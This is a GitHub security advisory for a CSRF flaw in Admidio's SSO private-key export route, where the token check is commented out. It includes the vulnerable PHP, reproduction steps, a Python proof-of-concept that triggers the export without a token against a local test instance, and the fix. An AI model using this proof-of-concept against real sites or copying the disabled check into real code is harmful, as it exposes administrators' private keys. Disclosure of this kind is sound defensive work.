GHSA-4RGQ-38MH-9XQG

Vulnerability from github – Published: 2026-05-29 22:07 – Updated: 2026-05-29 22:07
VLAI
Summary
Admidio PKCS#12 private key export action lacks CSRF protection
Details

Summary

The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

Vulnerable Code Links

  • https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
  • https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150

Vulnerable Code

// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification Environment

  • Application: Admidio v5.0.9
  • Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
  • Validation mode: real deployed application, not isolated unit tests

Steps To Reproduce

  1. Log in as an administrator.
  2. Create or seed an SSO key pair.
  3. Send a POST request to /modules/sso/keys.php?mode=export&uuid=<key-uuid> with only key_password=ExportPass123! and no adm_csrf_token.
  4. Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.

PoC Script

import os
from pathlib import Path

from helpers import BASE_URL, login, new_session, save_json, save_text


KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]


def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
    f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
    data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()

Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
    "pkcs12_export_csrf_result.json",
    {
        "login": login_result,
        "status_code": resp.status_code,
        "content_type": resp.headers.get("Content-Type"),
        "content_length": len(resp.content),
        "content_disposition": resp.headers.get("Content-Disposition"),
    },
)


if __name__ == "__main__":
main()

PoC Output

{
  "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
  "content_length": 2644,
  "content_type": "application/x-pkcs12",
  "login": {
"cookies": {
  "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
  "status": "success",
  "url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
  },
  "status_code": 200
}

MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

Remediation And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.

case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;

For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:07:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase \u0027export\u0027:\n// SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, \u0027key_password\u0027, \u0027string\u0027);\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = \u0027\u0027) {\n$ssoKey = new Key($this-\u003edb);\n$ssoKey-\u003ereadDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" =\u003e $name]);\nheader(\u0027Content-Type: application/x-pkcs12\u0027);\nheader(\u0027Content-Disposition: attachment; filename=\"\u0027 . $filename . \u0027.p12\"\u0027);\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator\u2019s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export\u0026uuid=\u003ckey-uuid\u003e` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n    f\"{BASE_URL}/modules/sso/keys.php?mode=export\u0026uuid={KEY_UUID}\",\n    data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n    \"pkcs12_export_csrf_result.json\",\n    {\n        \"login\": login_result,\n        \"status_code\": resp.status_code,\n        \"content_type\": resp.headers.get(\"Content-Type\"),\n        \"content_length\": len(resp.content),\n        \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n    },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n  \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n  \"content_length\": 2644,\n  \"content_type\": \"application/x-pkcs12\",\n  \"login\": {\n\"cookies\": {\n  \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n  \"status\": \"success\",\n  \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n  },\n  \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase \u0027export\u0027:\nSecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, \u0027key_password\u0027, \u0027string\u0027);\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.",
  "id": "GHSA-4rgq-38mh-9xqg",
  "modified": "2026-05-29T22:07:24Z",
  "published": "2026-05-29T22:07:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio PKCS#12 private key export action lacks CSRF protection"
}



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